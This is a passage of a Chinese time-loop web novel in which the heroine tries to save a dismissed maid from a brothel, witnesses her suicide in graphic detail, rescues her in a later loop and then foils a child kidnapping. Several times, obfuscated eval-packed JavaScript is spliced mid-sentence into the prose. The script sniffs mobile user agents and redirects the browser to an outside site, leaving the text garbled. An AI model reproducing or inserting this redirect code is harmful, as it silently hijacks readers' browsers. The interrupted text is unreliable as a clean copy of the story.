p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175347|149706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>沈乘月沿着走廊一边思索一边踱步,几个丫鬟小厮见她走远了,将将松了口气,却又见她折返回来,抛出了一个极重要的问题:“对了,小桃生得什么模样?” “……” 几人沉默一瞬,开始七手八脚地给她比划:“她生了一张圆脸,身高大概到我额头这里。” “眼睛比我大一点。” “手臂这里有个疤。” “嘴角生得上扬,看起来总有一点笑意。” 沈乘月看了最后开口的小丫头一眼:“说得这么详细,你和她关系不错?” 小丫头迟疑着点了点头:“大小姐,您要为小桃做主吗?” “做主?”沈乘月微怔,她只是听说了这件事,就打算去看一眼,至于看了这一眼后要做什么、能做什么,她还没有细想过。 她从来都是被宠爱、被保护的那一个,眼下被人一问,突然觉得自己在小丫头的眼里被当成一个成熟可靠的大人了,干脆挺直腰杆,老气横秋地点了点头,“是,做主!” “您很喜欢小桃这个丫鬟吗?”小丫头小心翼翼地试探,“可是,您连她的长相都不记得……” “唔,她偷了我的东西,我当然不喜欢她!”沈乘月觉得自己被问住了,她尚想不明白什么大道理,“但是……我也不知道,反正就是去看看嘛!你问那么多做什么?” “您要是真的打算为她做主,”小丫鬟突然激动起来,“我来给您带路!” “好,你跟我来!” “是!” 其他人欲言又止,似乎不知自己该不该阻拦,最终只是望着两人的背影,惆怅地叹了口气。 沈乘月也不去管他们,带着小丫头鬼鬼祟祟地准备从侧门溜出去,还提醒道:“听我号令。” 小丫鬟不明所以,但是胜在肯听话,闻言就乖巧地点了点头。 “三、二、一,走!” 小丫鬟明明看着门口回廊下有两名侍卫,但听了沈乘月的话,再害怕也闭着眼睛闷头往前冲,不料正巧有个小厮手里提着的木桶摔落,动静引得两个侍卫都看了过去,小丫鬟和沈乘月就从他们身后溜过。 成功溜出府门,沈乘月很满意自己新收的小跟班:“我还不知道你叫什么名字。” “奴婢彩珠。大小姐,我们这就前往胭脂苑?” 沈乘月打量着她的细胳膊细腿:“不了,先去找个人,我知道他会出现在什么地方。” “是。” “哎,对了,”沈乘月正要迈步,忽然一拍脑袋,想起了什么,“萧遇是不是还在前院等着我呢?” “萧公子?”小丫鬟看起来有些忧虑,毕竟沈乘月要去看小桃的行为看起来太像心血来潮、一时兴起了,她生怕节外生枝,怕大小姐打算去见萧公子,顺势就打消了这个念头。 但沈乘月很快就摇了摇头:“算了,让他等着吧,咱们去京城第一酒楼。” 杜成玉。 就在刚刚,沈乘月已经想到了一个合适的人选。 杜家公子喜欢她,且喜欢得比较盲目,大概不会拒绝她的要求。 而在沈乘月吃喝玩乐的那段时日,已经摸清他此时此刻会出现在什么位置。 京城第一酒楼。 这家酒楼的名字取得就是这样直白,好在大厨的厨艺还撑得住场面,没有让这个名字沦为笑柄。 沈乘月轻车熟路地摸上二楼,在窗边雅座一群白日饮酒的公子哥中揪出了杜成玉。 他听了她的来意,反应却不似她想象中那样痛快。 “这不合适吧?”杜成玉听了她的要求,面上有些为难,“要是被沈老夫人得知我带你去青楼,我这辈子怕是都没有娶你的机会了。” 沈乘月拍了拍他的肩,贴心提醒道:“你本来也没有。” 12.第 12 章 杜成玉无奈:“好好好,怕了你了,你刚刚说哪家青楼?” “城西胭脂苑。” “没听说过,我先派人打探打探。” 沈乘月催促:“那我们什么时候动身?” “急什么?你见过哪间青楼是大白天开门的?晚上再陪你过去,先坐下歇息一会儿。” “好吧。”沈乘月毕竟也不懂个中门路,只能暂时按捺下来。 杜成玉吩咐了身边小厮去打探胭脂苑所在,又问沈乘月:“你说那丫鬟是偷了你的东西,才被撵出去的?那你还找她做什么?” 沈乘月想了想:“她偷了我的东西,我要把她带回来,罚她月钱!” “……好逻辑,”杜成玉竖了个拇指,“这事儿你家里还不知道吧?你偷溜出来的?” 沈乘月眼珠一转,正要搪塞,杜成玉摇了摇头:“行了,别想办法狡辩了,以往哪次见你不是前呼后拥的?偏今日带了个畏畏缩缩的小丫头就出来了?” “是又如何?”沈乘月挑眉,“你要告我的状的不成?” “我哪里敢啊?大小姐有令,杜某舍命也要陪你胡闹!”杜成玉叹气,“只是以往见你日日围着萧遇打转,今天倒是有心思管闲事了。” 沈乘月笑了笑,忽听身后彩珠肚子咕咕作响,原来是小丫头没用早膳,此时嗅着各色菜肴的香气,难免有些饿了。 沈乘月唤来小二,无需菜单便开始熟练报菜名:“金齑鲈鱼脍、笋蒸鹅、蟹粉狮子头、水晶肴肉、黄焖鱼翅、凤凰卧雪,还有香薷饮、玫瑰酥,再来一坛冻醪。” 杜成玉失笑:“沈姑娘看来没少光顾,点的都是大厨的拿手好菜。” 待菜肴一一呈上,沈乘月拉彩珠坐下,后者惊得连连摆手拒绝:“大小姐,这不合规矩!” 沈乘月坚持:“为我办事的,哪有饿肚子的道理?” 彩珠这才惶恐地坐下,小心地夹了一块玫瑰酥,甫一入口,便是眼神一亮:“好吃!” “好吃就多吃点,晚上才去胭脂苑,还有得等呢。” 小二呈上一坛特色冻醪春酒,沈乘月斟了两杯,将其中一份递给杜成玉:“敬你一杯,谢你答应陪我去找小桃。” 杜成玉茫然地饮了酒:“你好像有些不一样了。” “真的?哪里不一样?”难道循环已经在她身上留下了变化的痕迹? “我说不好,你以前大概会更……理直气壮、目中无人一些,对我如此,对其他人也一样,”杜成玉笑了笑,“我不是说那样不好,明艳骄傲的姑娘,自然有这种资本。” 沈乘月若有所思,没有接他的话。 到了黄昏时分,夕阳将坠,杜成玉叫了马车前往城西,又取出一副面纱给沈乘月:“刚刚吩咐人去买的,你戴上些吧,瓜田李下,传出去恐对你声名有碍。” 身处时间循环当中的沈乘月自然不怕这个,但也懒得多解释,干脆依言佩上面纱,才下了马车,打量四周。 胭脂苑隐在一条小巷子里,附近都是些秦楼楚馆,来来往往的也是男子居多,沈乘月打眼看见一名大腹便便的男子正伸出他那带着大金扳指的手,怪笑着掐了一把门边站着那姑娘轻纱下遮掩的大腿。 沈乘月被保护得很好,尚是第一次见到这种场面,顿时厌恶地皱了皱眉,一指那男子:“这种人才该戴面纱!他做出这样丢脸的举止,为什么我反而是唯一需要遮脸的?” “大小姐,你低声些!别让人注意到你,”杜成玉连忙提醒,“不然你等在马车里,我带着彩珠去找小桃好了。” “好了好了,我不说话了,”沈乘月做了一个闭嘴的手势,“别想把我留下!” 胭脂苑门脸不算大,装饰也有些俗气,匾额上缀着红红粉粉的锦缎。沈乘月在门口探头一望,见里面灯火辉煌亮如白昼,笙歌缭绕间是她从未听过的缠绵曲调。 几人找到老鸨,说明来意,后者在她们身上来回打量了几眼,摇头道:“小桃?你们怕是找错地方了,我们这里没有这个名字的姑娘,倒是有小杏小枣子小荔枝的可以陪几位喝喝酒。” 沈乘月皱眉:“是改过名字吗?她长着圆脸,手臂上有疤的。” 老鸨看着她,但笑不语。 杜成玉显然比沈乘月更懂些人情世故,立刻掏出一锭银子抛给老鸨,后者露出极其遗憾的表情:“对不住了,公子,我们这里真的没有小桃这个人,不然我帮您留意一下附近其他馆子有没有?你改日再来问问?” 沈乘月不解:“难道是小厮记错了吗?” 杜成玉对老鸨道:“在楼上开个桌子吧,我们且坐坐,喝上几杯。” “好嘞,公子要不要人陪?” 杜成玉摇了摇头,沈乘月扯住他的衣袖,压低声音问道:“还坐什么坐?小桃不在这里,我们去周围打听打听啊!” 杜成玉示意她稍安勿躁,沈乘月不解其意,却也明白自己在处世这方面不如他有经验,便安静地跟在他身后。 老鸨亲自将几人引到三楼,沈乘月与杜成玉对坐,位置恰在栏杆旁,她便探出脑袋观察楼下男男女女,企图火眼金睛把小桃揪出来。 “快别看了,”杜成玉不想她看到什么不好的场面,随口阻止道,“都是些庸脂俗粉,不如你远矣。” 沈乘月闻言,皱眉看向他。 杜成玉也意识到自己这话不对:“对不住,不该把她们与你作比较。” 沈乘月有些茫然,觉得杜成玉的话让她不太舒服,却又说不清是为什么。 待小二过来上酒时,杜成玉袖中取出一枚银锭塞给他:“打听件事。” 小二顿时喜笑颜开:“客官您尽管问!” 杜成玉压低声音:“小桃。” 小二会意,抬手一指二楼角落里的房间:“客官来得巧了,今日那位第一天开张。” 沈乘月瞪大眼睛:“她在?那刚刚……” 她总算长了点心眼,没把质问老鸨为何撒谎的话吐出来。 小二笑呵呵地又奉承了两句,杜成玉点了点头,示意他可以退下了,转眼看见沈乘月已经冲了出去。 “等等!” 杜成玉想得更多也更全面,小桃既然真的在胭脂苑,老鸨看到银子却仍不松口,怕是只有一个原因,就是小桃的房间里,此时此刻还有其他客人在。老鸨不想为了银子引起麻烦和冲突,砸了自家招牌。 沈乘月疾步走向二楼角落的房间,经过一个醉酒男子的身侧时,他忽然伸手去抓她的手腕,嘴里不干不净地喊了声“小美人”。 “滚开!”沈乘月身子一旋,躲过了他这一抓。在这种时候,她突然暗恨自己不通拳脚,不然再接上一踢把这厮放倒该是多么爽快。 “混账!”杜成玉双眼冒火,冲过来把男子按倒,正要安抚沈乘月两句免她惊恐,却见后者脚步未停,已经冲着小桃的房间跑过去了。 他一边感叹她倒是生龙活虎,一边连忙示意随身小厮过来帮忙压制住男子,他自己去追沈乘月:“让我来和房里的人沟通!” 但他的提醒到底迟了一步,沈乘月已经趴在门口,想先透过门缝确认一下小桃是否真的在这里,不料一眼望去,还没见到小桃,倒是先看到了红烛摇曳的亮光下一副属于男子的略有些肥胖的白花花的肉|体。 虽然只看到半个背影,但这冲击力实在太大,沈乘月终于撑不住,扶着门吐了出来。 醉酒男子和杜成玉闹出的动静已经引起了老鸨注意,她带人走上二楼,打眼看到沈乘月,连忙加快了步子:“几位客官,这是要做什么?” 沈乘月一看她身后还带着几名男子,想来是打手,顿时也顾不上难受了,一把推开了房门,逼着自己直视眼前一切,待看清里面场景后,忽然惊恐地大喝了一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183396|149706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“不要!” 杜成玉和老鸨见她骤然大喊一声冲了进去,紧跟着房中便是一声撞击巨响,也急急跟上,看清房里几人的模样后,都被震住了愣在原地。 一名赤裸的男子惊恐地正“啊啊”喊叫着后退,沈乘月则站在房间正中央,脸上身上满是被溅上的鲜血。她左手平伸向前,想来原本是要阻止什么事的发生。 而在她脚边,立柱之侧,一名衣衫完好的圆脸女子横躺在地,额头带血,紧闭双目,老鸨大着胆子过去试了试鼻息,发现没了呼吸,低声骂了声“晦气”。 “……” 杜成玉反应过来发生了什么,一把拉过沈乘月,把她护在身后,对彩珠道:“快带你家小姐回马车上,这里我来处理!” 沈乘月生平第一次直面死亡,整个人呆愣愣的,彩珠抱着她,两个人都在颤抖。 她不知道自己是怎么回到马车上的,等到杜成玉回转,说了很多话,她都浑浑噩噩地没有回应。 直到杜成玉说起他派了人去通知小桃家里人,看看能不能把她安葬在村里坟地时,沈乘月才突然开口:“我不觉得她想葬在那里。” “乘月……你还好吗?” “是我的错,如果我没有耽搁呕吐的那点工夫,我可以拦下她的,”沈乘月说,“我本可以救下她的,可我在做什么?我根本没有想明白青楼意味着什么。” “不能怪你,谁能想到……”杜成玉也跟着难受,整个人垂头丧气,“也怪我,非要在你面前装出一副很懂行、游刃有余的模样,哪怕被老鸨拒绝后第一时间拦个小二问话,都不会有这种事发生。” “……” “我先送你回府吧。” 沈乘月没有回答,杜成玉吩咐马车驶往沈府侧门后,也沉默了下来,显然也在消化今日发生的一切。到了沈府以后,他让彩珠先去通知孙嬷嬷带身干净衣服过来。 孙嬷嬷带着兰濯提心吊胆地过来,见到一身血色的沈乘月,大惊失色:“姑娘,您怎么了?受伤了吗?” “不是我的血,是小桃的。” “小桃?” 沈乘月垂首看着鞋面上暗红中夹杂着的一点白:“也许还有她的脑浆。” 小桃当时抱着必死的决心,用了全身力气去触柱,听到沈乘月声音那一瞬间,便是想停也停不下来了。脑浆混着鲜血,溅了冲过来的沈乘月满身。 “……”所有人都吓得怔住。 孙嬷嬷连忙把她扶回房,打了水,要给她擦洗。 沈乘月却不配合她的动作,只是怔怔地问:“小桃到底偷了我什么东西?” 孙嬷嬷沉默半晌,如实答道:“一支银簪。” “值多少银子?” “小桃当了十两。” “是什么样子的银簪?” 孙嬷嬷试着想了想:“是支素簪,簪头是元宝形状。” “没什么印象了,我戴过吗?” “没有,姑娘不爱银簪,一向最喜欢金的、玉的。” 沈乘月眼神有些空洞:“为了一支我从来不戴的簪子,把人逼死,何苦来哉?” 一屋子的丫鬟都沉默下去。 “十两银子,一条人命。” “都是老奴的错,”孙嬷嬷眼里也含了泪光,“是我做主把她赶出去的,姑娘你什么都不知道,不是你的错,别多想了。” 其他丫鬟也跟着劝:“姑娘,洗个澡,换身衣服,睡一会儿好不好?” “睡一会儿?”沈乘月眼神里忽然有了光彩,“对了,睡一会儿!” “姑娘……” 沈乘月兴奋得难以自抑:“我可以救她,我有办法救她!” “……”满院的丫鬟大概都以为她疯了。 沈乘月大笑起来,她竟然开始感激循环的存在,无论今日发生了什么,一觉醒来,明天又是新的一天。 13.第 13 章 胭脂苑。 小桃靠在绣床一角,双臂抱膝,缩成一团,床帘原本是挂起来的,她抬手把它们放下,似乎想通过一道薄纱帐来获得某种安全感,但她发现有了床帘遮挡后,便无法一直盯着门口的动静,又抬手把床帘掀了开来。 她很快发现自己是在做无用功,又把视线投向窗口,明知道那里逃不出去,却忍不住又过去开窗看了一遍。 开窗、关窗,三天内她已经不知重复了这个动作多少次。 她是三天前被爹娘卖到这家胭脂苑的。老鸨觉得她姿色平平,随意调教了几日,便打发她今天出来接客。 想到十余日前自己尚在沈府和其他小丫头说说笑笑,小桃心底泛起一阵悔意。 为何想不开要去偷那支簪子呢? 她想恨沈府,想恨把自己赶出去的孙嬷嬷,却也知道自己的恨毫无根由。 偷了东西的丫头被撵出去并不冤枉,沈府没把她送官,已算宽仁,孙嬷嬷还私下塞给她五两银子,让她先去给娘抓药。 她其实很清楚自己该恨的是谁。 门口又传来一声响动,吓得她浑身一颤,却原来是个醉鬼不小心撞到了门,很快离开了。 她关上窗子,意识到自己其实已经无路可逃,于是她把眼神投向了房梁。 房梁看起来很结实,一定可以承受一个人的重量。 不,再等等吧…… 她开始不切实际地幻想,也许会有人来救自己呢? 也许是爹爹,不,他不会,他自来便不怎么疼爱这个女儿……可是娘呢?她会来赎自己的吧,毕竟自己是为了她才去偷大小姐的簪子,更是她暗示自己沈府的贵人有那么多金银首饰,怕是连记都记不清了,才使自己动了妄念。还有弟弟呢?他从小是自己这个做姐姐的带大的,难道真的一点感情都没有吗…… 或许……还有客人?自己求一求他们呢?告诉他们自己原本是好人家的丫头,只是一念之差才沦落至此。 一念之差…… 连小桃自己都觉得这个解释特别苍白无力。 谁会来救她?也许根本没有人…… 小桃痛苦地撕扯着自己的头发,连家人都靠不住,谁还会惦记着她? 越思索,那结实的房梁就看起来越诱人,不知听到自己自尽的消息后,爹娘他们会后悔吗?会有人为年纪轻轻的她惋惜吗? 就在她逐渐步入绝望泥沼的时候,房门被轻轻敲响,有人轻声问询:“小桃,是我,沈乘月,我能进去吗?” “……”这道声音恍若天籁,劈开了她的绝望,让污泥中透进了光亮来。 小桃只觉得好生玄幻,一时不知是因为来者的身份,还是因为来者竟如此礼貌。 她结结巴巴地回应:“请、请进。” 于是房门被推开,露出沈乘月那张熟悉的面孔,曾被小桃私下与其他丫鬟抱怨过目中无人的姑娘,此时正认真地注视着她,笑吟吟地招呼道:“没敢踹门,怕吓到你。收拾收拾东西,咱们回府。” “大小姐?!”惊讶混着劫后余生的庆幸涌上心头,小桃一个箭步冲上前,“您是来救我的?” 她刚刚把自己生路盘算了个遍,爹、娘、弟弟,甚至客人,但她绝没有想过是沈乘月。 她们的交集少得可怜,甚至唯一一次对话是大小姐因为新制的衣裳不合心意在发脾气,随手把衣物掷在院中,吩咐路过的丫头:“通通扔掉!” 于是恰巧经过的小桃应了声“是”。 小桃盯着沈乘月微笑的脸,甚至怀疑眼前一切是自己临终前的幻想。 大小姐怎么会听说青楼的事?就算听说了又怎么可能来救自己?还有……原来她知道自己的名字? 她想抱一抱沈乘月,却迟疑着不敢冒犯,后者却好像看出了她的心思,把全身都在发颤的她揽进怀里,拍了拍她的脑袋:“没事了。”我不会再来迟一步了。 “大小姐,”小桃哇的一声哭了出来,“谢谢你,谢谢你!” 沈乘月手里恰好就握着一条帕子,顺手递给小桃拭泪:“不用谢我,簪子钱从你将来的月银里扣。” “……”小桃接下来几句当牛做马、肝脑涂地一类的承诺都被堵了回去。 “对了,彩珠也来了,这次多亏了她和杜公子。” 小桃给杜成玉行礼道谢,又抱紧了彩珠,两个姑娘一起放声大哭。 沈乘月示意杜成玉陪着她们:“我失陪一下。” “你去哪儿?” “踢个人,你且等在此地,我去去就回。” “?” 沈乘月大步流星地冲了出去,在二楼一个醉汉身边经过,那人伸手去抓她,她却似早有预料,反手握住对方手腕,足尖轻点,左足踏在他心口上,用了个巧劲,借力打力, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196204|149706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四两拨千斤,竟把那重量不轻的醉汉踢得踉跄着后退了几步,倒在地上。 一套动作行云流水,直把旁边的姑娘看呆了去,下意识地捧场,抬手给她鼓了鼓掌。 于是沈乘月十分做作地一抱拳,假作谦逊道:“不敢当,不敢当。” 旁观了全程的杜成玉:“……” 沈乘月一瘸一拐、得意洋洋地归来,腿被震得有点痛,但不影响她的趾高气昂,仿佛一个凯旋的将军。 “如何?” “厉害!”杜成玉欲言又止,“你的腿……还好吗?” “没事,”沈乘月拍了拍他,“多谢你又一次陪我救下小桃。” “又一次?” “我已经在学些拳脚了,虽然无法锻炼体力,但招式总归是记得的,”沈乘月龇牙咧嘴地一指身后爬不起来的醉汉,“这是我第一次成功,我实在不想回忆那些脸朝下摔在地上的日子了。” “脸朝下?”杜成玉一乐,“不就是狗啃……” 在沈乘月凌厉的逼视下,他没能把这个句子说完。 “总之,”沈乘月继续道,“等我再进学一段日子的拳脚,就不必总是麻烦你了。” “拳脚?”杜成玉不解,“你什么时候开始对这些东西感兴趣了?” 沈乘月叹气:“反正闲着也是闲着。” “……” “好了,不说这个了,待会儿给小桃摆个洗尘宴,我来请客,几位可愿意赏脸?” 杜成玉笑了起来:“姑娘有邀,莫敢不从。” 小桃担心:“鸨母那边……” “已经解决了,虽然她撒谎在前,狮子大开口在后,让我很不喜欢,”沈乘月思考,“不然下次我扛一卷软梯过来,咱们试试翻墙摆她一道?” “啊?下次?”小桃懵懵懂懂,她当然不知道老鸨曾在她停止呼吸后骂了一声“晦气”,而沈乘月也并不打算告知她。 “我的下一次,”沈乘月摇头,“你只要享受今天余下的时光就好。” 迈出胭脂苑大门口那一刻,小桃迎着夕阳透进小巷的最后一丝余晖,回头看向匾额:“大小姐,谢谢您,我永远不会忘记这一天。” “事实上你很快就会忘记,”沈乘月笑了笑,“但没关系,我会一直重复下去。” 万一哪一日就是循环的最后一日,她可不想遗漏一条如斯鲜活的人命。 14.第 14 章 夜幕低垂,星光闪烁,四人围坐在酒楼最高层,小桃捧着酒杯下拜:“大小姐,我无论如何都没想到今日是你来救我。” 沈乘月一手扶起她,一手接过酒杯,饮尽她敬上的杯中酒:“我也没想到。” 如果人生没有突然拐了个弯,此时此刻她大概正坐在闺房里,思索明日该找什么借口缠着萧遇陪她一道去游湖。 不对,沈乘月忽然记起,这个时间萧遇应该已经提出退婚了,那此时此刻她应当躲在房里痛哭,一如轮回开始的第一天。 她蓦然发现自己已经很多个循环没有思念过萧遇了,他退婚的事好像也显得没那么重要了。 她有些不可思议,毕竟对她而言,那曾是天底下一等一的大事,曾让她哭到昏天黑地、日月无光。 小桃急切地想承诺些什么:“我今后一定为小姐……” “好好活着就是。”沈乘月从恍惚中回神,微笑着打断了她。 小桃怔了怔,圆脸上绽起一个笑容:“是,我会好好活着。” 窗外有人放起了烟花,小小的一朵,爆出闪耀的火花。 “对了,明日就是七夕节了,”小桃笑道,“听说亥时城东花灯会上要燃放全京城最大最漂亮的烟花,到时候小姐可要和萧公子一道观赏?” 听见萧遇的名字,杜成玉冷哼了一声。 “明日再说明日的事吧,”沈乘月笑了笑,“今夜不是也有烟花?” “规模太小了。”只是寥寥几朵,为明日七夕营造些氛围罢了。 沈乘月看着窗外,举杯与几人共饮:“足够了。” 明月,夜风,烟花与酒,活着的小桃,还有今日不怎么想寻死的自己。 恰到好处。 沈乘月把腿搭在对面椅子上,以一个不甚符合贵女仪态的姿势,仰头举着酒壶向口中倒酒,见杜成玉看过来,就挑了挑眉:“怎么?反正你不会记得。” 杜成玉以为她喝醉了,无奈地摇摇头。 其实她连喝酒都是循环中才学会的,然后惊喜地发现自己酒量还算不错。 “天色已晚,还不回去?” “再等一会儿,”沈乘月望着窗外烟花,“黄、蓝、红、绿、青……好了,到我出场了。” 见烟花恰好按她念的顺序燃过一遍,几人微怔,又见她起身,也跟着站起来:“什么出场?你要去做什么?” 沈乘月揉了揉肩,活动了一下手臂:“你们坐,我能应付这个,去去就回。” 小桃下意识想跟上:“大小姐,我陪着您……” “不必。”沈乘月坚持。 她大步流星,离开了酒楼,几人不大放心地趴在窗边,注视着她的身影融入人群中。 京城本就繁华,又正值七夕前夜,不少人出门采买乞巧节要用的巧果、彩线等物件。好在沈乘月今日穿了一袭芙蓉色长裙,在人群中还算显眼,才没叫几人丢失了目标。 见她在一巧果摊子附近停下,彩珠奇道:“大小姐要买巧果吗?”买个巧果而已,似乎倒也用不上隆重的“出场”二字。 那摊子后原本站着一对儿母子,此时人流如织,作为摊主的母亲忙着给客人装巧果、数铜板,连额头的汗都来不及擦,一时有些顾不上孩子,嘱咐他不要乱走。但小孩子的脑袋还不如摊位高,什么都看不到,大概是觉得无趣,悄然向一旁走开了几步。 他举目四顾,看到的都是其他人的大腿,正扁了扁嘴,视线中忽然出现了一根冰糖葫芦,红润的山楂裹着糖衣,果实饱满,晶莹剔透,散着诱人的甜香。 小孩子伸手就要去抓,举着糖葫芦的男子却笑着抬了抬手:“这边人太多了,跟叔叔过来就给你吃,好不好?” 小孩子懵懂地点了点头,男子笑容越发和蔼,一只手将糖葫芦递给他,另一只手就要顺势抱起孩子。 小孩子渴望地盯着男子的大手,眼看那支心心念念的糖葫芦就要被递到自己嘴边,口水都流出来了,却被一只手中途截了胡。 那只手十指纤长,生得很漂亮,但小孩子哪里在意什么美丑?只眼巴巴地看着那只手的主人拿起糖葫芦凑到唇边咬了一口,评价道:“味道不错,哪儿买的?” 抱着孩子的男子一时都愣住了,多无耻一人啊,连小孩的糖葫芦都抢? 眼看到嘴边的美味被夺走,小孩子怔住一瞬,盯着那根不再完整的糖葫芦“哇哇”大哭起来:“糖葫芦!我的糖葫芦!” 母亲对孩子的哭声分外敏锐,立时停下手里的活计回头去看,见孩子不在摊位边,心都提到了嗓子眼,连忙又顺着哭声望去,看到一陌生男子抱着自己孩子,急得挤开人群冲了上去。 男子也慌乱起来,把手里的孩子一扔,转身就要跑。 沈乘月叼住糖葫芦,一手提住孩子衣领,稳稳放在地上,一手勾住男子腰带:“想跑?” 那母亲也机警,连忙大喊:“拐子!抓拐子!” 人群立刻骚动起来,男子挣扎着要逃,却很快被正义之士淹没。百姓对拐子深恶痛绝,不少人都挤过来打算趁乱给他一拳,或是踢他一脚。 楼上杜成玉几人发现不对,也正往这边走来,却挤不过汹涌的人群。 街头巡捕自然也注意到了骚动,连忙过来疏散人群,扣住了男子。沈乘月蹲在街边一户人家的石狮子后躲过了人潮涌动,此时冒出头来一指街角,向巡捕告状:“那边深褐衣服的是拐子同伙,看,他跑了!” 她不慌不忙地钻进了一旁的小巷中,于狭窄的巷子里信步穿行,拐了几个弯,穿过了几道巷口,钻过了某户人家的后院,心里默念数着步数,于隔壁一条大街上堵住了已经融入人群的拐子同伙。 她甚至微笑着打了个招呼:“又见面了。” 男子一直隐在角落旁观同伙作案,准备随时接应,此时立刻认出她就是刚刚搅局的家伙,一咬牙一发狠,从腰间摸出一把短刃,向着她的脸划了过去:“滚开!敢挡老子的路?!” 沈乘月精准地卡在匕首划来的前一刻,身姿柔软地向后弯下腰肢,轻盈又沉着地躲过了这一击。 这是一个舞蹈里的动作,为了在晖园夜宴上大出风头,她练习了太多太多次,还好腰肢本就偏软,不然单就这一天的工夫,可练不到骨头。 眼看一刀不中,匪徒又是第二刀划过来,沈乘月借着下腰的姿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200405|149706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 势,左手撑地,腰腿用力,转了半圈,刚刚好躲过了第二次进攻。 街边路人惊呼连连,有人已经在高声呼喊巡捕。 男子原本以为一刀就能逼退这看起来手无缚鸡之力的姑娘,不料被沈乘月绊住,脸上表情越发凶狠起来,如野兽般嘶吼着要与她鱼死网破。 沈乘月一举手一抬足,却好似早就猜到了他的攻击会从哪个方向过来,躲得恰到好处,连胳膊都懒得多抬高一寸。 她用舞姿融合了拳脚功夫,动作潇洒又优雅,气定神闲、游刃有余的模样,让围观者误把她当成了武林高手,眼神里写满了敬仰与崇拜,纷纷送上鼓掌和叫好。 沈乘月这种三角猫功夫,居然在看客眼中客串了一把神秘莫测的高手,顿时得意洋洋起来,微扬的嘴角压都压不下来。 要不是实在抽不出手,真想给大家鞠个躬感谢捧场。 每一次攻击都被预判,让男子的动作越发无力,看向她的眼神也带着惊恐与犹疑。 沈乘月挑眉一笑:“毁过我的容还想跑?” 她摸了摸脸颊,上面仿佛还残留着曾经的剧痛,她是实打实挨过刀的,吃过痛,才能练出这样精确的反应。 她这辈子没吃过的苦,都在循环里吃了一遍。 但仔细想想,又怨不得任何人,都是她自找的。 没有人求她来帮。 只是……在这种闹市之中,孩子一旦被抱走混入人群,怕就难寻踪迹了。 三殿下送她回府那一夜,派了手下半数侍卫帮忙,最终不是也没找到这孩子吗?不然他一定会如约派人来沈府告知一声的。 晖园夜宴那一晚,她端坐在马车上,迎着众人艳羡的目光,那位母亲凄厉的哭喊声似乎并没给她带来什么触动,她只是在感叹三殿下真是个好人,足以托付终身。 只是那哭喊,不知自哪一日开始,萦绕在她耳边心畔。 为什么要帮忙?她懒得去思考这种问题。 反正闲着也是闲着。 沈乘月知道自己不需要拖延太久,只要绊住眼前男子的脚步,他很快就会被拘捕。 果不其然,此前去隔壁街疏散人群的巡捕很快追了过来,把已经被戏耍到失去反抗意识的男子按倒在地。 沈乘月做足了高手风范,向人群挥手致意后,开开心心地溜达回巧果摊边,摊主抱着孩子向她千恩万谢。 杜成玉几人也连忙迎了上来,刚刚本想去追她,不料在小巷子里七拐八绕地跟丢了。一直担心着她的安危,此时上下打量一遍,发现她没有受伤,才松了口气。 “你刚刚救了一个孩子!” “是啊,我真是个好人。” 沈乘月只遗憾他们没能目睹自己的英姿,攥着她那根啃了一半的糖葫芦回到几人身边。 杜成玉敏锐认出这糖葫芦正是她从拐子手里抢来的,额头青筋一跳:“这你也敢吃?!” “没毒,试过了,还挺好吃的。我特地问了他在哪个摊子买的,想给你们也带几根的,但他却愤恨地瞪着我,还想骂我,”沈乘月指责,“真没礼貌。” “……那真是谢谢你还惦记着我们了。” 15.第 15 章 杜成玉展开折扇,为沈乘月轻摇,扇去她额头薄汗。 “玉啊,”沈乘月拍了拍他的肩,“其实你这个人还不错,虽然不大会说话,但是为人很热心。” 杜成玉乐颠颠地接受了她这半褒半贬的称赞:“哟,终于发现我的优点了?” “换个人喜欢吧。” “……怎么突然说这种话?” “我……配不上你。”沈乘月艰难地找着借口。 杜成玉扶额:“你这就有点假了。” “好吧,我当然配得上任何人,”沈乘月自矜地摸了摸脸,“我只是突然觉得,也许你应该喜欢一个能回应你的人。” “……” “因为我知道喜欢一个人,却没有回应的滋味有多难受,”沈乘月认真道,“我体会过,就不希望其他人也去体会这些,尤其……这份痛苦是我带给你的。” “你喜欢谁我管不了,”杜成玉却忽然笑了笑,“我喜欢谁你也管不了。” “祖母说我这叫不撞南墙不回头,你怎么也一样?”沈乘月苦笑,“你喜欢的是曾经的我,但我……是会变的。” 